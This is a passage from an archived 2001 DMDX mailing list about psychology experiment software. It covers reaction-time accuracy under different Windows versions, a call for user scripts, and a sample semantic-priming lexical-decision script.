then use the clock-on time output as usual. If you're really concerned about not measuring response time when you run your experiment 'for real', then you could always test the timing of the script in this way, and then remove the clock-on symbols before testing subjects. Hope this helps, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 30 06:53:18 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA21817 for ; Fri, 30 Nov 2001 06:53:04 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fAUDr3p11537 for ; Fri, 30 Nov 2001 14:53:03 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: monitoring timing Date: Fri, 30 Nov 2001 14:52:54 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <3.0.5.32.20011130122436.018b76c0@pophost.mrc-cbu.cam.ac.uk> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Matt, It helps quite a bit! - Derek >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 3 10:09:16 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA30168 for ; Mon, 3 Dec 2001 10:08:45 -0700 Received: (qmail 8029 invoked from network); 3 Dec 2001 17:08:42 -0000 Received: from unknown (HELO XPTERNARY.u.arizona.edu) (150.135.175.50) by breaker.dakotacom.net with SMTP; 3 Dec 2001 17:08:42 -0000 Message-Id: <5.1.0.14.2.20011203092957.00b18ab8@psy1.psych.arizona.edu> Date: Mon, 03 Dec 2001 10:08:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] OSes Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Not sure if people really understood the import of my last message about Windows ME but Ken sure didn't so I'll spell it out fully, it's timing of RTs is far superior to any other 9x flavors of windows, 95, 98 and 98SE. The SD of the millisecond callback under Windows ME is 0.08ms on the machine I tested which is as good as anything Windows 2000 ever produced. It's in another ballpark compared to what we're testing and because it's a 9x kernal you can actually use a PIO12 whereas the drivers to use a PIO12 under win2k haven't been written yet. While I've only tested one machine so far ME is so good I'm seriously thinking of updating any machine we're using for DMDX that has the disk space to run it -- and there's the kicker, you've got to have something like 1Gb free... And speaking of OSes that take gazoodles of disk space I just tested DMDX on the multi-processor XP machine I just built at home and it's running just fine. This is a different scenario for DMDX because with two processors it can now have two threads active at once whereas beforehand only one of it's threads was ever active at one time. I'm happy to say that my multi-threaded design is indeed robust and it survives, nay thrives in the new environment (not really surprising as I put a lot of effort into making sure it would however it has never been tested). While the SD was only 0.16ms (not as good as uni-processor systems) one slightly interesting thing was that the mean of the millisecond callback was down to 0.92ms during one of the DMDX testmode tests. This is no great worry as it just means that RTs gathered are just that bit more accurate. Not that it affects anything but it's interesting to note that the timebase of the high performance counter under uni-processor XP goes up to 3.5MHz but on the dual processor machine it's the clockspeed of the CPUs, in this case 1.4 gigahertz, not megahertz anymore. I had to look at that one a few times to realize what was happening. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 3 10:56:26 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30322 for ; Mon, 3 Dec 2001 10:56:14 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fB3HuCp29402 for ; Mon, 3 Dec 2001 18:56:12 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: OSes Date: Mon, 3 Dec 2001 18:55:58 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011203092957.00b18ab8@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list "" ... it's a 9x kernal you can actually use a PIO12 whereas the drivers to use a PIO12 under win2k haven't been written yet"" (j.c.f.) I don't understand -- the Win2K drivers have not been written by you or by Kiethley and/or the other manufacturers of PIO compatible boards? - Derek >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 3 11:38:34 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA30478 for ; Mon, 3 Dec 2001 11:38:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C0B764F000097C5 for DMDX@psy1.psych.arizona.edu; Mon, 3 Dec 2001 11:38:20 -0700 Message-Id: <5.1.0.14.2.20011203113850.00b12b80@psy1.psych.arizona.edu> Date: Mon, 03 Dec 2001 11:39:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: RE: OSes In-Reply-To: References: <5.1.0.14.2.20011203092957.00b18ab8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:55 PM 12/3/2001 +0100, you wrote: >"" ... it's a 9x kernal you can actually use a PIO12 whereas the drivers >to use a PIO12 under win2k haven't been written yet"" (j.c.f.) > >I don't understand -- the Win2K drivers have not been written by you or by >Kiethley and/or the other manufacturers of PIO compatible boards? Someone would have to purchase their development kit. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 3 21:21:01 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA31759 for ; Mon, 3 Dec 2001 21:20:38 -0700 Received: from [66.1.48.98] by deimos.email.Arizona.EDU with HTTP; Mon, 3 Dec 2001 21:20:37 -0700 Date: Mon, 3 Dec 2001 21:20:37 -0700 Message-ID: <3C0B74E900001E96@deimos.email.Arizona.EDU> In-Reply-To: <5.1.0.14.2.20011203092957.00b18ab8@psy1.psych.arizona.edu> From: ""Kenneth Forster"" Subject: [DMDX] Request for interesting scripts from users To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dearly Beloved, jcf and I have written an article for BRMIC on DMDX, in part rebutting Myors' absurd comments about the impossibility of accurate response and display timing under Windows. One reviewer complained that he/she was completely unable to get DMDX to browse the hard disk. We'd like to know how many other users experienced this problem. >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 3 21:40:32 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA31872 for ; Mon, 3 Dec 2001 21:40:21 -0700 Received: from [66.1.48.98] by deimos.email.Arizona.EDU with HTTP; Mon, 3 Dec 2001 21:40:19 -0700 Date: Mon, 3 Dec 2001 21:40:19 -0700 Message-ID: <3C0B74E900001F0E@deimos.email.Arizona.EDU> From: ""Kenneth Forster"" Subject: [DMDX] request for interesting scripts from users To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dearly Beloved, Sorry about that -- I'm using a stupid WebMail program that will do almost anything with a slight error in keypressing. I was starting to explain that our concern is that researchers trying to publish papers using DMDX might run into problems if Myors' claims are not answered. A reviewer might well say about your paper ""...however, it is well known that it is very difficult to obtain accurate response or display timing with programs such as DMDX running under Windows 98 (e.g., Myors, 1999)"". So we are providing something that you can cite as a rebuttal. The editor of BRMIC asked that we provide more examples of scripts. We are including one or two pointers in the article, but it is obvious that a complete coverage would produce a very long paper. So I want to compile a list of example scripts that we can put on the web. Of course, this will also be very useful to us all. So, anybody that uses the PIO to control ERP or fMRI scanners, send us your scripts (along with an explanation of exactly what the script does and how). If you like to use complex scrambling, send us your script! If you like to use variables and branching, send us a simple example and an explanation. No need to send the entire file, just a few typical examples. Please include .wav files for subtle sound presentations, especially when synced to visual probes. Same for video files. I don't know about you, but I find that other people's scripts are fascinating. I had no idea that DMDX could do these things! I think we all have a lot to learn from each other. So, please -- send me your scripts. Don't reply to this. Send your gems direct to me at . Much obliged, --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 04:05:55 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA02746 for ; Wed, 5 Dec 2001 04:03:16 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fB5B3Fp28186 for ; Wed, 5 Dec 2001 12:03:15 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: request for interesting scripts from users Date: Wed, 5 Dec 2001 12:02:58 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <3C0B74E900001F0E@deimos.email.Arizona.EDU> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list (1) Actually, I wish people would respond to the list with their scripts! I find application examples invaluable in learning and mastering programming and script coding. The DMDX help pages would be easier for me if more examples were included of DMDX function calls, etc .... These really belong on a tutorial web site and perhaps I will start such a beast if people are interested in participating (I don't have any actual content to contribute at this stage of my development). (2) Timing issues? I have not read Myors and I have not refreshed my memory on the discussion of DMDX timing trials that is in the help pages, so I'm talking off the top of my head (OK?). As a scientist, I am responsible for the integrity of my data. For example, when recording bioelectric signals, I calibrate the amplifiers and computer acquisition system. How can I be assured (and give assurances) that MY DMDX system (hardware) is performing within MY standards (e.g., the ability to collect responses with >1 msec resolution/accuracy)? If I used a photo-detector to detect visual stimuli from the presentation screen - I could use this to 'trigger' a precision timebase-delay that would generate a PIO response at a fixed interval (e.g., a response time of 2.50000 seconds). Wouldn't repeatedly running this 'stimulus - response' test under a variety of DMDX task 'loads' (e.g., playing audio, scrambling, looping, slicing, dicing, and pureeing) define the statistical qualities of DMDX's 'timing integrity'? If not, why not? So: How can I assure myself ... ? Thanks you, Derek >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 05:21:09 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA02927 for ; Wed, 5 Dec 2001 05:19:13 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 5 Dec 2001 12:19:10 GMT Message-Id: <5.1.0.14.2.20011205121743.0293cb10@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 05 Dec 2001 12:23:52 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: RE: request for interesting scripts from users In-Reply-To: References: <3C0B74E900001F0E@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I would also like to add more scripts to my tutorial pages. One of these days I will get round to bringing these pages up to date, but I no longer have much time to devote to this so it may yet be a while. However, adding sample scripts is an quick and easy task so I will always have time for that. Were someone to make a web page with function calls etc then I could link to it from my pages. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 09:30:33 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA03492 for ; Wed, 5 Dec 2001 09:30:13 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by phobos.email.Arizona.EDU (6.0.036) id 3C0C128D00034C0C for DMDX@psy1.psych.arizona.edu; Wed, 5 Dec 2001 09:30:11 -0700 Message-Id: <5.1.0.14.2.20011205092522.00b4ab80@psy1.psych.arizona.edu> Date: Wed, 05 Dec 2001 09:30:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: request for interesting scripts from users In-Reply-To: References: <3C0B74E900001F0E@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:02 PM 12/5/2001 +0100, you wrote: >(1) Actually, I wish people would respond to the list with their scripts! >I find application examples invaluable in learning and mastering programming >and script coding. The DMDX help pages would be easier for me if more >examples were included of DMDX function calls, etc .... These really belong >on a tutorial web site and perhaps I will start such a beast if people are >interested in participating (I don't have any actual content to contribute >at this stage of my development). > >(2) Timing issues? I have not read Myors and I have not refreshed my >memory on the discussion of DMDX timing trials that is in the help pages, so >I'm talking off the top of my head (OK?). As a scientist, I am responsible >for the integrity of my data. For example, when recording bioelectric >signals, I calibrate the amplifiers and computer acquisition system. > >How can I be assured (and give assurances) that MY DMDX system (hardware) is >performing within MY standards (e.g., the ability to collect responses with > >1 msec resolution/accuracy)? You have to take my word for it or you have to be a sufficiently skilled technician or have access to a skilled technician to build test equipment of your own design and test it yourself. What's the difference between me telling you how to build test equipment and me telling you that DMDX works? >If I used a photo-detector to detect visual stimuli from the presentation >screen - I could use this to 'trigger' a precision timebase-delay that would >generate a PIO response at a fixed interval (e.g., a response time of >2.50000 seconds). Wouldn't repeatedly running this 'stimulus - response' >test under a variety of DMDX task 'loads' (e.g., playing audio, scrambling, >looping, slicing, dicing, and pureeing) define the statistical qualities of >DMDX's 'timing integrity'? If not, why not? That would work, there's even a testmode designed to facilitate testing that particular apparatus. It's one of the tests I have written up in the Input section of DMDX's help. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 10:39:38 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA03769 for ; Wed, 5 Dec 2001 10:39:18 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.036) id 3C0D6DD700014204 for DMDX@psy1.psych.arizona.edu; Wed, 5 Dec 2001 10:39:16 -0700 Message-Id: <4.3.1.1.20011205100025.00df3ad0@kforster.inbox.email.arizona.edu> Date: Wed, 05 Dec 2001 10:40:16 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] RE: request for interesting scripts from users In-Reply-To: <5.1.0.14.2.20011205121743.0293cb10@pophost.mrc-cbu.cam.ac. uk> References: <3C0B74E900001F0E@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, Derek Eder wrote: Actually, I wish people would respond to the list with their scripts! and At 12:23 PM 12/5/01 +0000, Mike Ford wrote: >I would also like to add more scripts to my tutorial pages. One of these >days I will get round to bringing these pages up to date, but I no longer >have much time to devote to this so it may yet be a while. However, >adding sample scripts is an quick and easy task so I will always have time >for that. Were someone to make a web page with function calls etc then I >could link to it from my pages. When I asked for examples of interesting scripts, my aim was to collect together a number of scripts and organize them, so that they can be made available on a web site. I think that is better than having scripts of various types randomly scattered throughout the DMDX list archive. When submitting a script, only include enough items to illustrate the main features of the script. Also, include relevant comments in the script. Below, I have included an example of what I had in mind. This is a fairly elementary script, and contains a lot of detail that would not be required for more advanced scripts. --k.i.f. Example of an elementary script. $ ! Sample script for a semantic priming experiment using lexical decision. Parameter Line: Number of items The default frame duration is 36 video ticks The input device is the keyboard. continuous running. The display automatically continues to the next item with a delay specified by the d parameter, stopping only when it reaches an instruction. The scramble block size is 16. Feedback to subject of time taken has 0 decimals. Feedback could be suppressed by inserting on the parameter line. Layout of items: There are 32 test items, arranged in groups of 8 with each experimental condition represented equally often in each block. With specified, the scramble routine will take the first 16 items, scramble their order, then the next 16, etc., and then will scramble the order of the blocks. Presentation details: Following the fixation point (++), a blank screen is displayed for the default frame duration (indicated by a blank frame, i.e., / /). The next frame contains the prime, which is displayed for 18 ticks (as indicated by %18). Inserted between the prime and the target is a blank screen lasting for 12 ticks. After the target item has been displayed for 36 ticks, a blank frame is displayed for 36 ticks. If the target is to remain on the screen until the subject makes a response (response contingent erasure), then the final blank frame should be omitted (i.e., remove the final frame delimiter). The display font is Courier New 12 point bold. This can be changed by selecting the entire file in Word and choosing a new font. ; 0 ""Press the space bar to begin.""; 0 ""Press the YES button, if"", @1 ""the letter string forms a WORD""; 0 ""Press the NO button, if"" , @1 ""the letter string does NOT form a WORD""; 0 ""The following are for practice.""; -250 ""++""/ / %18""fine""/ %12 / * ""EDUL""/ ; +250 ""++""/ / %18""river""/ %12 / * ""WATER""/ ; +250 ""++""/ / %18""tear""/ %12 / * ""HEEL""/ ; -250 ""++""/ / %18""fresh""/ %12 / * ""WOOVE""/ ; +250 ""++""/ / %18""gold""/ %12 / * ""SILVER""/ ; -250 ""++""/ / %18""supply""/ %12 / * ""POOTHE""/ ; +250 ""++""/ / %18""self""/ %12 / * ""SELF""/ ; +250 ""++""/ / %18""coffee""/ %12 / * ""TEA""/ ; -250 ""++""/ / %18""prince""/ %12 / * ""REFEND""/ ; -250 ""++""/ / %18""center""/ %12 / * ""DISPUN""/ ; 0 ""Practice over. Please continue."";$ +1 ""++""/ / %18""slow""/ %12 / * ""FAST""/ ; +27 ""++""/ / %18""needle""/ %12 / * ""THREAD""/ ; +53 ""++""/ / %18""library""/ %12 / * ""LIBRARY""/ ; +79 ""++""/ / %18""toast""/ %12 / * ""JAM""/ ; -105 ""++""/ / %18""aback""/ %12 / * ""IMPOL""/ ; -131 ""++""/ / %18""due""/ %12 / * ""NIM""/ ; -157 ""++""/ / %18""brandy""/ %12 / * ""INDOW""/ ; -183 ""++""/ / %18""rest""/ %12 / * ""VAUL""/ ; +2 ""++""/ / %18""on""/ %12 / * ""OFF""/ ; +28 ""++""/ / %18""bacon""/ %12 / * ""EGGS""/ ; +54 ""++""/ / %18""ancient""/ %12 / * ""ANCIENT""/ ; +80 ""++""/ / %18""pencil""/ %12 / * ""PAPER""/ ; -106 ""++""/ / %18""ability""/ %12 / * ""UMATION""/ ; -132 ""++""/ / %18""dust""/ %12 / * ""KELK""/ ; -158 ""++""/ / %18""latin""/ %12 / * ""THREP""/ ; -184 ""++""/ / %18""sea""/ %12 / * ""FIM""/ ; +3 ""++""/ / %18""stop""/ %12 / * ""GO""/ ; +29 ""++""/ / %18""bread""/ %12 / * ""BUTTER""/ ; +55 ""++""/ / %18""message""/ %12 / * ""MESSAGE""/ ; +81 ""++""/ / %18""hammer""/ %12 / * ""NAIL""/ ; -107 ""++""/ / %18""active""/ %12 / * ""DRIDGE""/ ; -133 ""++""/ / %18""eight""/ %12 / * ""MATIC""/ ; -159 ""++""/ / %18""less""/ %12 / * ""BREK""/ ; -185 ""++""/ / %18""rattle""/ %12 / * ""FRETCH""/ ; +4 ""++""/ / %18""above""/ %12 / * ""BELOW""/ ; +30 ""++""/ / %18""church""/ %12 / * ""PRIEST""/ ; +56 ""++""/ / %18""drink""/ %12 / * ""DRINK""/ ; +82 ""++""/ / %18""hand""/ %12 / * ""FOOT""/ ; -108 ""++""/ / %18""add""/ %12 / * ""SAL""/ ; -134 ""++""/ / %18""front""/ %12 / * ""HEPER""/ ; -160 ""++""/ / %18""lie""/ %12 / * ""NUD""/ ; -186 ""++""/ / %18""sense""/ %12 / * ""BLICTER""/ ; $0 ""Thank you, that's the end."";$ >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 10:46:11 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA03811 for ; Wed, 5 Dec 2001 10:45:59 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.036) id 3C0D6DD70001464B for DMDX@psy1.psych.arizona.edu; Wed, 5 Dec 2001 10:45:58 -0700 Message-Id: <4.3.1.1.20011205104201.00df4320@kforster.inbox.email.arizona.edu> Date: Wed, 05 Dec 2001 10:46:57 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: RE: request for interesting scripts from users In-Reply-To: References: <3C0B74E900001F0E@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:02 PM 12/5/01 +0100, Derek Eder wrote: >How can I be assured (and give assurances) that MY DMDX system (hardware) is >performing within MY standards (e.g., the ability to collect responses with > >1 msec resolution/accuracy)? The DMDX User notes contain discussions of timing accuracy. The article we are writing will present much the same material. Both DMDX and TimeDX have Test modes that enable you to evaluate the performance of your system. These are discussed in the Help files. >If I used a photo-detector to detect visual stimuli from the presentation >screen - I could use this to 'trigger' a precision timebase-delay that would >generate a PIO response at a fixed interval (e.g., a response time of >2.50000 seconds). Wouldn't repeatedly running this 'stimulus - response' >test under a variety of DMDX task 'loads' (e.g., playing audio, scrambling, >looping, slicing, dicing, and pureeing) define the statistical qualities of >DMDX's 'timing integrity'? If not, why not? This has been done, and the results are discussed in the User Notes. --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 10:51:24 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA03856 for ; Wed, 5 Dec 2001 10:51:11 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fB5HpAp30545 for ; Wed, 5 Dec 2001 18:51:10 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: RE: request for interesting scripts from users Date: Wed, 5 Dec 2001 18:50:52 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011205092522.00b4ab80@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ""You have to take my word for it"" Personally, I do, really I do. Professionally, I shouldn't. Parenthetically, didn't this discussion start with a request by Ken to help demonstrate the timing precision of DMDX to a skeptical reviewer? Why doesn't someone (yous) publish a methods paper and put this Windows timing 'controversy' to bed? ""What's the difference between me telling you how to build test equipment and me telling you that DMDX works?"" I'll try that one on my step-son when he begins his teenage experimentation with alcohol and girls :) Why would I want to validate DMDX's operation on my computer? (I don't really, I'm much too busy). I suppose because I can't fully conceptualize how DMDX timing works and therefore I would want to test it empirically so it 'feels right'. Where am I at? (again, the disclaimer about not having consulted the manual recently) i. uhhh ... my refresh rate is 16 ms and that means the screen is redrawn 62.5 times per second (1/0.016). I have the feeling that 16ms is the basic metronome of the (my) system. If I display a dot and then wait EXACTLY 1000 msec to display another dot, I'm going to 'land' in the middle of a refresh and have to wait for the next one. So, the inter-dot display interval has to be a multiple of 16 ms in order to be correct. ii. I don't know if the DMDX frames are advanced in tick increments or if Windows just tries to accomodate this, if it feels like it. iii. I don't understand how the 'microsecond' system clock is polled and how the DMDX software calls to the clock are affected my Windows' mood. -- you see a basic muddle. ""That would work, there's even a testmode designed to facilitate testing that particular apparatus. It's one of the tests I have written up in the Input section of DMDX's help."" Beautiful! I know exactly what to do if some pest of a reviewer ever challenges me. Thanks again, Derek >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 5 13:05:01 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA04235 for ; Wed, 5 Dec 2001 13:04:43 -0700 Received: from a9x0c3 ([137.154.102.21]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fB5K4bj29401 for ; Thu, 6 Dec 2001 07:04:37 +1100 (EST) Message-ID: <001101c17dc9$9a78efc0$15669a89@a9x0c3> From: ""Arch Tibben"" To: References: Subject: [DMDX] RE: Re: RE: request for interesting scripts from users Date: Thu, 6 Dec 2001 07:15:36 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have used the crude option.. a photo diode and a storage scope. Get pretty accurate times with this, even rise and fall times if needed arch ----- Original Message ----- From: ""Derek N. Eder"" To: Sent: Thursday, December 06, 2001 4:50 AM Subject: [DMDX] RE: Re: RE: request for interesting scripts from users > ""You have to take my word for it"" > Personally, I do, really I do. Professionally, I shouldn't. > Parenthetically, didn't this discussion start with a request by Ken to help > demonstrate the timing precision of DMDX to a skeptical reviewer? Why > doesn't someone (yous) publish a methods paper and put this Windows timing > 'controversy' to bed? > > ""What's the difference between me telling you how to build test equipment > and me telling you that DMDX works?"" > I'll try that one on my step-son when he begins his teenage experimentation > with alcohol and girls :) > > Why would I want to validate DMDX's operation on my computer? (I don't > really, I'm much too busy). I suppose because I can't fully conceptualize > how DMDX timing works and therefore I would want to test it empirically so > it 'feels right'. > > > Where am I at? (again, the disclaimer about not having consulted the manual > recently) > i. uhhh ... my refresh rate is 16 ms and that means the screen is redrawn > 62.5 times per second (1/0.016). I have the feeling that 16ms is the basic > metronome of the (my) system. If I display a dot and then wait EXACTLY 1000 > msec to display another dot, I'm going to 'land' in the middle of a refresh > and have to wait for the next one. So, the inter-dot display interval has > to be a multiple of 16 ms in order to be correct. > > ii. I don't know if the DMDX frames are advanced in tick increments or if > Windows just tries to accomodate this, if it feels like it. > > iii. I don't understand how the 'microsecond' system clock is polled and > how the DMDX software calls to the clock are affected my Windows' mood. > > -- you see a basic muddle. > > > ""That would work, there's even a testmode designed to facilitate testing > that particular apparatus. It's one of the tests I have written up in the > Input section of DMDX's help."" Beautiful! I know exactly what to do if > some pest of a reviewer ever challenges me. > > Thanks again, > > Derek > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 6 19:52:51 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA08233 for ; Thu, 6 Dec 2001 19:52:13 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fB72q8j02858 for ; Fri, 7 Dec 2001 13:52:08 +1100 (EST) Message-ID: <005401c17ecb$20d0cbe0$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Repeating items answered incorrectly Date: Fri, 7 Dec 2001 13:59:03 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0051_01C17F27.54181100"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C17F27.54181100 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, Wondering if you guys could help me with this one:=20 Is there a way for DMDX to present again those items that were not = correctly answered first off? That is, in the first stage of the = experiment, we want to present all the items of the task, then in the = second stage, only those items that were missed or answered incorrectly = in the first stage. Can this be done through branching? Not sure how to = go about it, would really appreciate your help. Thanks, Helen 